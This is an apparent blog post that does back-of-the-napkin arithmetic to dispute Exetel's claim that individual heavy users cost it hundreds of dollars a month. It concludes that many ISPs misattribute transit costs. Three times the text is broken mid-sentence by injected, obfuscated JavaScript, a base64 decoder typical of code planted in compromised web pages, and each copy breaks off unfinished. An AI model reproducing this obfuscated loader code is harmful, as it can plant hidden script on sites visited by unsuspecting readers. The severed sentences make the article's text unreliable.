Towards the tail-end of last week, tech journalist function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
This has allegedly resulted in the ISP losing money on a number of accounts, including "one single user costing Exetel a loss of over $600.00 in a single month and more that 300 users costing us between $30 and well over $200.00 each in the Month of April and then repeating that sort of usage in May".
I immediately asked myself how it was even possible for a single customer to cost AUD600 a month. I did one of the back of the napkin calculations I'm now infamous for, and this is what I came up with. Let's assume for a minute that we're only talking about traffic costs, not the whole wholesale access + infrastructure + overhead shebang (which should be no more than AUD30 anyway).
Transit in Sydney is very expensive (for reasons I won't get into here, but might be worth examining in the future). Ballpark, in the upper end, it's around USD15, AUD19. This is likely right for Exetel who is a small ISP.
If you attribute transit costs to a single customer, you have to assume that that customer is solely responsible for an increase in your peak transit (when you're not peaking, the marginal cost is zero since your bill is based on peak capacity). That is already stretching believability, but let's assume for a second that that's even possible.
If that customer was responsible for an increase in peak traffic all by himself, he would be using 600/19, ie. 32Mbps of traffic all by himself. Throughout all peak hours of a whole month.
Since most of Exetel's customers are ADSL customers, it's safe to assume that this one is too. So at best, said customer has 15Mbps download capacity and 1Mbps upload capacity (if he lives next door to the central office). So 16Mbps is the maximum capacity this customer can possibly use on the network.
And yet cost accounting (if done with an understanding of the cost structure of transit) attributes him twice that in capacity used full time throughout the peak hours of the month.
This leads me to the unavoidable conclusion that Exetel's accounting is terribly wrong. What they have most likely done is look at the overall cost of their transit and divided that by the amount of MB downloaded by each customer.
This is not about picking on Exetel specifically. There are still dozens, probably hundreds of ISPs worldwide who do just that. When we published our report on datacaps three years ago (function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
So we have decided to heavily discount the report, function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa